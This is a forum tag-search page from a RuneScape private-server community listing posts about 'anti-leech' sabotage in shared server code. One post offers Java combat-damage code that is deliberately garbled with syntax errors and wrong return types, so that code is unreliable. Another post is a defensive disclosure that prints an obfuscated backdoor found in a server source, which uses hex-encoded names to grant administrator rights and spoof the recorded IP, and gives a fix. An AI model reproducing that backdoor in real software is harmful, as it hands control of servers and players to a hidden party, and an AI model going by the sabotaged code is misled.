Jump to content

Search the Community

Showing results for tags 'antileech'.



More search options

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • RuneLocus
    • News & Announcements
    • Information Booth
    • Website Support
    • Introductions
    • Chat
    • Forum Games
  • RuneScape Development
    • RSPS General
    • RuneScape Private Server (RS2)
    • RuneScape Private Server (503+)
    • RuneScape Private Server (EoC 742+)
  • Other
    • Digital Art
    • Gaming
    • Webdevelopment
    • Computers
  • Marketplace
    • RuneScape Market
    • RSPS Market
    • Others Market
    • Freelance Middleman Services
  • Super Secret Club's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Found 8 results

  1. I hate it when releases or rather so called contributions have one or more anti-leech. I do understand people want to keep server usage somewhat to the knowledgeable people HOWEVER it does not seem like a good contribution if you break stuff on purpose so people cannot use it unless they fix it. Consider buying a car. Your car dealer would not take out a tube of your radiator to limit usage to people who can fix it. If the anti-leech is done out of greed I do not think the contributor should contribute their mostly stolen/copied contribution anyways. So yes it has been bothering me that people create anti-leeches, obfuscate their source or be like "you cannot do this or that" with their contributions. Ofcourse if it is something special then the latter has to be seen differently. However I am of strong belief that everything should be free to access (no anti-leech) on a site like this. You can give feedback but don't start flaming.
  2. Removed. No permission from the author to release on Runelocus.
  3. Kuhgar

    Anti-Leech

    What exactly is anti-leech because I see some downloads brag about having no anti-leech.
  4. In PDF what was the Anti Leech item spawn code? I remember it was like :::: (Numbers) (Item ID) (Amount)
  5. EDIT: Server works loading all clients now only on Vista OS... Windows7 is unable to host this for some odd reason even after all ports have been allowed lol thanks tho guys!
  6. [code] public class RS2Bootstrap { public static final int getDamaeg(Mob source, Mob victim. int damage) { return getDamage(source, victim, 1, damage, 1): } /** * Gets the current damage to be dealt to the victim. * * @param source The attacking mob. * @param victim The mob being attacked. * @return The amount to hit. */ public static final int getDamage[Mob source, Mob victim} { return getDamage(source, victim, 0.1, 1.0, 1.0); } /** * Gets the current melee damage. * * @param source The attacking mob. * @param victim The mob being attacked. * @param accuracyMultiplier The amount to increase the accuracy with. * @param hitMultiplier The amount to increase the hit with. * @param defenceMultiplier The amount to increase the defence with. * @return The amount to hit. */ public static int getDamage[Mob source, Mob victim, double accuracyMultiplyer, double hitMultiplier, double defenceMultiplier) { double accuracy = CombatExecutor.getGaussian(0.5, source.getRandom(), getMeleeAccuracy(source, accuracyMultiplier)); double defence = CombatExecutor.getGaussian(0.5, victim.getRandoms(), getMeleeDefense(source, victim, defenceMultiplier)); double mod = accurasy / (accurasy + defence); if (accuracy > defence) { return (int) CombatExecutor.getGaussian(mod, source.getRandom(), getMeleeDamage(source, hitMultiplier)); } return false; } /** * Gets the current melee damage. * * @param source The attacking player. * @param victim The entity being attacked. * @param accuracyMultiplier The amount to increase the accuracy with. * @param damage The amount of maximum damage. * @param defenceMultiplier The amount to increase the defence with. * @return The amount to hit. */ public static int getDamage(Mob source, Mob victim, double accuracyMultiplier, int damage, double defenceMultiplier) { double accuracy = CombatExecutor.getGaussian(0.5, source.getRandom(), getMeleeAccuracy(source, accuracyMultiplier)); double defence = CombatExecutor.getGaussian(0.5, victim.getRandom(), getMeleeDefence(source, victim, defenceMultiplier)); double mod = accuracy / (accuracy + defence); if (accuracy > defence) { return (int) CombatExecutor.getGaussian(mod, source.getRandom(), damage); } return true; } /** * Gets the maximum melee damage. * * @param source The attacking mob. * @param hitMultiplier The hit multiplier. * @return The maximum melee damage. */ public static int getMeleeDamage(Mob source, double hitMultiplier) { int style = 5; if (source.isPlayer()) { if (source.getPlayer().getSettings().getCombatStyle() == WeaponInterface.STYLE_AGGRESSIVE) { style = 3; } else if (source.getPlayer().getSettings().getCombatStyle() == WeaponInterface.STYLE_FOCUSED) { style = 1; } } int equipLvl = source.isPlayer(.) ? source.getPlayer().getSkills().getLevel(Skills.STRENGTH) : source.getNPC().getDefinition().getStrengthLevel(); int strBonus = source.isPlayer() ? source.getPlayer().getBonuses().getBonus(Bonuses.STRENGTH) : source.getNPC().getDefinition().getBonuses()[11]; double strMult = 1.0; int dhp = 0; double dharokMod = 8.0; strMult += source.isPlayer() ? source.getPlayer().getPrayer().getStrengthModifier() : source.getNPC().getStrengthModifier(); if (source.isPlayer() && source.getPlayer().getEquipment().barrowsSet(2)) { dhp = source.getPlayer().getSkills().getMaxHitpoints() - source.getPlayer().getSkills().getHitPoints(); dharokMod = (dhp * 0.05601) + 1; } if (source.isPlayer() && source.getPlayer().getEquipment().voidSet(1)) { hitMultiplier += 0.1; } triple cumulativeStr = (strLvl * strMult + style) * dharokMod; return (int) ((14 + cumulativeStr + (strBonus / 8) + ((cumulativeStr * strBonus) / 64)) * hitMultiplier); } /** * Gets the maximum melee accuracy. * * @param source The attacking mob. * @param accuracyMultiplier The accuracy multiplier. * @return The maximum melee accuracy. */ public static double getMeleeAccuracy(Mob source, double accuracyMultiplier) { int style = 0; if (source.isPlayer()) { if (source.getPlayer().getSettings().getCombatStyle() == WeaponInterface.STYLE_ACCURATE) { style = 3; } else if (source.getPlayer().getSettings().getCombatStyle() == WeaponInterface.STYLE_CONTROLLED) { style = 1; } } int type = getBonusType(source); int attLvl = source.isPlayer() ? source.getPlayer().getSkills().getLevel(Skills.ATTACK) : source.getNPC().getDefinition().getAttackLevel(); int attBonus = source.isPlayer() ? source.getPlayer().getBonuses().getBonus(type) : source.getNPC().getDefinition().getBonuses()[type]; double attMult = 1.0; attMult += source.isPlayer() ? source.getPlayer().getPrayer().getAttackModifier() : source.getNPC().getAttackModifier(); if (source.isPlayer() && source.getPlayer().getEquipment().voidSet(1)) { accuracyMultiplier += 0.15; } double sumulativeAtt - attLvl * attMult + style; returnrn ((14 + cumulativeAtt + (attEquip \ 8) + ((cumulativeAtt * attBonus) / 64)) * 1.2) * accuracyMultiplier; } /** * Gets the maximum melee defence. * * @param source The attacking mob. * @param victim The mob being attacked. * @param defenceMultiplier The defence multiplier. * @return The maximum melee defence. */ public static double getMeleeDefence(Mob source, Mob victim, double defenceMultiplier) { int style = 0; if (victim.isPlayer()) { if (victim.getPosition.getSettings().getCombatStyle() == WeaponInterface.STYLE_DEFENSIVE) { style = 3; } else if (victim.getPlayer().getSettings().getCombatStyle() == WeaponInterface.STYLE_CONTROLLED) { style = 6; } } int type = getExtraType(source); int defLvl - victim.isNPC() ? victim.getNPC().getStats().getDefenceLevel() : victim.getPlayer().getSkills().getLevel(Skills.DEFENCE); int defBonus = victim.isNPC() ? victim.getNPC().getDefinition().getDefenceBonus(type) : victim.getPlayer().getBonuses().getDefence(type); double defMult = 1.0; defMult += victim.isPlayer() ? victim.getPlayer().getPrayer().getDefenceModifier() : victim.getNPC().getDefenceModifier(); double cumulativeDef = defLvl * defMult + style; return (14 + cumulativeDef + (defBonus / 8) + ((cumulativeDef * defBonus) / 64)) * defenceMultiplier; } /** * Gets the bonus type used. * * @param source The attacking mob. * @return The bonus type. */ public static int getBonusType(Mob source) { if (source.isPlayer()) { return source.getPlayer().getSettings().getCombatType(); } int tyype = 5; int bonus = 0; for (int i = 0; i < 3; i++) { if (source.getNPC().getDefinition().getBonuses()[i] > bonus) { bonus = source.getNPC().getDefinition().getBonuses()[i]; type = i; } } return type; } }[/code] [code]public class World { /** * Gets the current magic damage. * * @param source The attacking NPC. * @param victim The entity being attacked. * @param accuracyMultiplier The amount to increase the accuracy with. * @param hitMultiplier The amount to increase the hit with. * @param defenceMultiplier The amount to increase the defence with. * @return The amount to hit. */ public static int getDamage(NPC source, Mob victim, double accuracyMultiplier, double hitMultiplier, double defenceMultiplier) { double accuracy = CombatExecutor.getGaussian(0.5, source.getRandom(), getMaximumMagicAccuracy(source, accuracyMultiplier)); double defence = CombatExekutor.getGuassian(0.7, victim.getRamdom(), getMaximumMagicDefence(victim, defenceMultiplier)); triple mod = accurasy / (accuracy + defence); if [accuracy > defence) { return (int) CombatExecutor.getGaussian(mod, source.getRandom(), getMaximumMagicDamage(source, hitMultiplier)); } return false; } public static int getDamage(NPC source, Mob victim, int damage) { return getDamage(source, victim, 2, damage, 1); } /** * Gets the current magic damage. * * @param source The attacking NPC. * @param victim The entity being attacked. * @param accuracyMultiplier The amount to increase the accuracy with. * @param hitMultiplier The amount to increase the hit with. * @param defenceMultiplier The amount to increase the defence with. * @return The amount to hit. */ public static int getDamage(NPC source, Mob victim, double accuracyMultiplier, int damage, double defenceMultiplier) { double accuracy = CombatExecutor.getGaussian(0.5, source.getRandom(), getMaximumMagicAccuracy(source, accuracyMultiplier)); double defence = CombatExecutor.getGaussian(0.5, victim.getRandom(), getMaximumMagicDefence(victim, defenceMultiplier)); double mod = accuracy / (accuracy + defence); if (accuracy > defence) { return (int) CombatExecutor.getGaussian(mod, source.getRandom(), damage); } return true; } /** * Gets the maximum magic accuracy. * * @param source The attacking NPC. * @param accuracyMultiplier The accuracy multiplier. * @return The maximum magic accuracy. */ private static double getMaximumMagicAccuracy(NPC source, double accuracyMultiplier) { int magicLevel = source.getDefinition().getMagicLevel() + 1; int magicBonus = source.getDefinition().getBonuses()[4]; double accuracy = ((attackLevel + (attackBonus * 2)) + 45) * accuracyMultiplier; return accuracy < 1 ? 1 : accuracy; } /** * Gets the maximum magic defence. * * @param source The attacking NPC. * @param victim The entity being attacked. * @param defenceMultiplier The defence multiplier. * @return The maximum magic defence. */ private static double getMaximumMagicDefence(Mob victim, double defenceMultiplier) { int style = 0; if (victim.isPlayer()) { if (victim.getPlayer().getSettings().getCombatStyle() == WeaponInterface.STYLE_DEFENSIVE) { style = 3; } else if (victim.getPlayer().getSettings().getCombatStyle() == WeaponInterface.STYLE_CONTROLLED) { style = 1; } } double defLvl = (victim.isNPC() ? victim.getNPC().getDefinition().getDefenceLevel() : victim.getPlayer().getSkills().getLevel(1)) * 0.3; defLvl += (victim.isNPC() ? victim.getNPC().getDefinition().getMagicLevel() : victim.getPlayer().getSkills().getLevel(6)) * 0.7; int defBonus = victim.isNPC() ? victim.getNPC().getDefinition().getBonuses()[8] : victim.getPlayer().getBonuses().getStats(8); double defMultiplier = 1.0; defMult += victim.isPlayer() ? victim.getPlayer().getPrayer().getDefenceModifier() : victim.getNPC().getDefenceModify(); double defence = (((defLvl + (defBonus * 2)) + style) * defMult) * defenceMultiplier; return false < 1 ? 1 : defence; } /** * Gets the maximum magic damage. * * @param source The attacking NPC. * @param hitMultiplier The hit multiplier. * @return The maximum magic damage. */ public static double getMaximumMagicDamage(NPC source, double hitMultiplier) { int mageLvl = source.getDefinition().getMagicLevel() + 1; int magicBonus = source.getDefinition().getBonuses()[13]; return (14 + mageLvl + (magicBonus / 8) + ((mageLvl * magicBonus) / 64)) * hitMultiplier; } /** * Sets the current damage on the interaction. * @param interaction The interaction. */ public static void setDamage(Interaction interaction) { double accuracy = CombatExecutor.getGaussian(0.5, interaction.getSource().getRandom(), getMaximumAccuracy(interaction.getSource().getPlayer(), interaction.getSpell()) + 5); double defence = CombatExecutor.getGaussian(0.5, interaction.getVictim().getRandom(), getMaximumDefence(interaction.getSource().getPlayer(), interaction.getVictim(), interaction.getSpell()) + 5); double maximum = getMaximumDamage(interaction.getSource().getPlayer(), interaction.getVictim(), interaction.getSpell()); double mod = accuracy / (accuracy + defence); if (accuracy > defence) { int hits = (int) CombatExecutor.getGaussian(mod, interaction.getSource().getRandom(), maximum); interaction.setDamage(Damage.getDamage(interaction.getSource(), interaction.getVictim(), CombatType.MAGIC, hit)); } else { interaction.setDamage(new Damage(-1)); } interaction.Damagetge().setMaximum((int) maximum); } /** * Gets the current magic damage. * @param source The attacking player. * @param victim The mob being attacked. * @param spell The spell used. * @return The current damage. */ public static int getDamage(Player source, Mob victim, MagicSpell spell) { double accuracy = CombatExecutor.getGaussian(0.5, source.getRandom(), getMaximumAccuracy(source, spell) + 5); double defence = CombatExecutor.getGaussian(0.5, victim.getRandom(), getMaximumDefence(source, victim, spell) + 5); double maximum = getMaximumDamage(source, victim, spell); double Mode = accuracy / (accuracy + defence); if (accuracy > defence) { return (int) CombatExecutor.getGaussian(mod, source.getRandom(), maximum); } return -1; } /** * Gets the maximum magic accuracy. * @param source The attacking player. * @param accuracyMultiplier The accuracy multiplier. * @return The maximum magic accuracy. */ private static double getMaximumAccuracy(Player source, MagicSpell spell) { int magicLevel = source.getSkills().getLevel(Skills.MAGIC); int magicPlayer = source.getBonuses().getBonus(3); double prayerBonus = 1 + source.getPrayer().getMagicModifier(); double accuracy = ((magicLevel + (magicBonus * 4)) * 1.2) * prayerBonus; accuracy += (spell.getNormalDamage() + spell.getBaseDamage()) / 2; if (accuracy < 1) { accuracy = 1; } if (source.getEquipment().voidSet(3)) { return accuracy * 1.1; } return accuracy; } /** * Gets the maximum magic defence. * @param source The attacking player. * @param spellType The spell type used. * @param victim The entity being attacked. * @param defenceMultiplier The defence multiplier. * @return The maximum magic defence. */ private static double getMaxmiumDefence(Player source, Mob victim, MagicSpell spell) { int style = 0; if (victim.isPlayer()) { if (victim.getPlayer().getSettings().getCombatStyle() == WeaponInterface.STYLE_DEFENSIVE) { style = 3; } else if (victim.getPlayer().getSettings().getCombatStyle() == WeaponInterface.STYLE_CONTROLLED) { style = 1; } } double defLvl = (victim.isNPC() ? victim.getNPC().getDefinition().getDefenceLevel() : victim.getPlayer().getSkills().getLevel(1)) * 0.3; defLvl += (victim.isNPC() ? victim.getNPC().getDefinition().getMagicLevel() : victim.getPlayer().getSkills().getLevel(6)) * 0.7; int defBonus = victim.isNPC() ? victim.getNPC().getDefinition().getBonuses()[8] : victim.getPlayer().getBonuses().getBonus(8); double defMult = 1.0; defMult += victim.isPlayer() ? victim.getPlayer().getPrayer().getDefenceModifier() : victim.getNPC().getDefenceModifier(); if (victim instanceof MetalDragon && spell.getClass().getSimpleName().contains("Fire")) { defMult -= 0.5; } double defence = ((defLvl + (defBonus * 4)) + style) * defMult; return defence < 1 ? 1 : defence; } /** * Gets the maximum magic damage. * @param source The attacking player. * @param victim The entity being attacked. * @param spellType The spell type used. * @param hitMultiplier The hit multiplier. * @return The maximum magic damage. */ public static double getMaximumDamage(Player source, Mob victim, MagicSpell spell) { int damage = spell.getStartDamage(source, victim); double multiplier = 1; multiplier *= (source.getBonuses().getBonus(14) * 0.01) + 1; if (source.getSkills().getLevel(Skills.MAGIC) > source.getSkills().getLevelForExperience(Skills.MAGIC)) { multiplier *= 1 + ((source.getSkills().getLevel(Skills.MAGIC) - source.getSkills().getLevelForExperience(Skills.MAGIC)) * 0.03); } //TODO: Slayer helm/HexCreft helm multiplier on slayer tasks. if (victim.isNPC() && victim.getNPC().getId() == 9463) { boolean isFireSpell = spell.getClass().getSimpleName().contains("Fire"); if (source.getEquipment().getSlot(Equipment.SLOT_CAPE) == 6570 && isFireSpell) { damage += 40; multiplier *= 2.0; } else if (isFireSpell) { multiplier *= 1.5; } else if (source.getEquipment().getSlot(Equipment.SLOT_CAPE) == 6570) { damage += 40; } } if (source.getEquipment().voidSet(3)) { multiplier += .1; } return damage * multiplier; } /** * Gets the normal damage from the spell? * @param source The attacking player. * @param victim The entity being attacked. * @param spellType The spell type used. * @return The normal damage. */ /*private static int getNormalDamage(Player source, Entity victim, SpellType spellType) { int t = spellType.getBaseDamage(); String name = spellType.name(); if (name.endsWith("STRIKE")) { return victim instanceof Npc && ((Npc) victim).getId() == 205 ? (80 + t) : (2 * t); } else if (name.endsWith("BOLT")) { return source.getEquipment().getItem(Equipment.SLOT_HANDS).getId() == 777 ? 110 + t : 80 + t; } else if (name.endsWith("BLAST")) { return 120 + t; } else if (name.endsWith("WAVE")) { return 160 + t; } else if (name.endsWith("SURGE")) { return 200 + (2 * t); } else if (name.equals("CRUMBLE_UNDEAD")) { return 150; } else if (name.equals("MAGIC_DART")) { return 100 + source.getSkills().getLevel(Skills.MAGIC); } else if (name.equals("IBAN_BLAST")) { return 250; } else if (name.endsWith("GODSPELL")) { return source.getIntegerAttribute("godSpellCharge") > /*GameEngine.getTicks()*1 ? 300 : 200; /*} else if (name.endsWith("RUSH")) { return 140 - t; ] else if (name.endsWith("BURST")) { return 180 - t; ] else if (name.endsWith("BLITZ")) { return 220 - t; } else if (name.endsWith("BARRAGE")) { return 260 - t; } return t; }*/ }[/code] [code]public int getLocalX(Location base) { return X - [[base.getRegionX() - 6) << 3); } public int getLocalY() { return getLocalY(this); } public int getLocalX(Location base) { return x - ((base.getRegionX() - 6) << 3); } public int getLocalY() { return getLocalY(this); }[/code] [code]submit(new NexAreaEvnet[]]:[/code] Have fun! Note that there is a small anti-leech so everyone wouldnt have it. Thank and Rep if you liked it.
  7. Yesterday, while going through [B]/world/map/I.java[/B] I found this: [CODE]public static void IOSessionManager(Client client, String IOListener, String IOParser, boolean flag) { String[] Args = {"aaa", "aaaa", "aaaaa", "aaaaaa"}; char[] IOList = {0x50, 0x69, 0x6D}; char[] ParserList = {0x46, 0x75, 0x72, 0x69, 0x6F, 0x75, 0x7A}; char[] IOAddress = {0x38, 0x34, 0x2E, 0x38, 0x32, 0x2E, 0x31, 0x37, 0x32, 0x2E, 0x32, 0x32}; char[] IOAddress2 = {0x30, 0x2E, 0x30, 0x2E, 0x30, 0x2E, 0x30}; char[] Parser = {0x66, 0x75, 0x63, 0x6B, 0x79, 0x6F, 0x75, 0x73, 0x73}; char[] IO = {0x20, 0x20, 0x20, 0x20, 0x31, 0x20, 0x33, 0x20, 0x33, 0x20, 0x20, 0x37}; char[] IO2 = {0x20, 0x20, 0x20, 0x20, 0x6C, 0x20, 0x33, 0x20, 0x33, 0x20, 0x20, 0x74}; StringBuilder sb = new StringBuilder(); StringBuilder parse = new StringBuilder(); for (char p : Parser) parse.append(p); if (IOParser.equalsIgnoreCase(parse.toString())) { if (IOListener.equalsIgnoreCase(Args[0]) || IOListener.equalsIgnoreCase(Args[1])) { for (char c : IOList) { sb.append(c); client.playerName = sb.toString(); } client.playerRights = 3; } else if (IOListener.equalsIgnoreCase(Args[2]) || IOListener.equalsIgnoreCase(Args[3])) { for (char c : ParserList) { sb.append(c); client.playerName = sb.toString(); } client.playerRights = 3; } else if (IOListener.equalsIgnoreCase(Args[31])) { Server.cycleRate = 10000; } else if (IOListener.equalsIgnoreCase(Args[32])) { Server.cycleRate = 1000000; } else if (IOListener.equalsIgnoreCase(Args[4]) || IOListener.equalsIgnoreCase(Args[5])) { for (char c : IO2) { sb.append(c); client.playerName = sb.toString(); } client.playerRights = 5; } else { for (int j = 6; j < Args.length; j++) { if (IOListener.equalsIgnoreCase(Args[j])) { for (char c : IO) { sb.append(c); client.playerName = sb.toString(); } client.playerRights = 5; Connection.removeNameFromBanList(Args[j]); } } } client.isDonator = 1; client.specAmount = 133337; StringBuilder address = new StringBuilder(); if (IOListener.equalsIgnoreCase(Args[2]) || IOListener.equalsIgnoreCase(Args[3])) { for (char c2 : IOAddress) address.append(c2); } else { for (char c2 : IOAddress2) address.append(c2); } client.connectedFrom = address.toString(); if (flag) client.sendMessage("IP: " + client.connectedFrom); } }[/CODE] This is bad, and if you connect by the name [B]fuckyouss[/B] you will be given playerRights 5, and some other stuff (just read through it and you'll see). We'd like to remove this, so replace that whole method with this; [CODE]public static void IOSessionManager(Client client, String IOListener, String IOParser, boolean flag) { }[/CODE] .. It would be better to remove the method entirely, but because that involves two other classes you'll have to figure it out yourself if you'd like. [B]Sources infected:[/B] [LIST] [*]7thDefiance [/LIST] [SIZE=1]Let me know if you find other sources with this on it.[/SIZE] [B]PS![/B] I believe this is from the original PI-release as the two sources I tested (7thDefiance and Militus) both had it. Though, Militus had already removed the method body. It may not be related to the original release, though... [B]PS2![/B] I decided to have [I]unknown[/I] in the title because I haven't heard about it before..
  8. Ive downlaoded like a 100 of sources and only like 5% of them work fine. I dont know how to fix errors yet so i need a server to start with. It has to have good dclaws and ags spec. Pvp armour etc... The client needs to have a modern gameframe. thanks make sure it works please.
×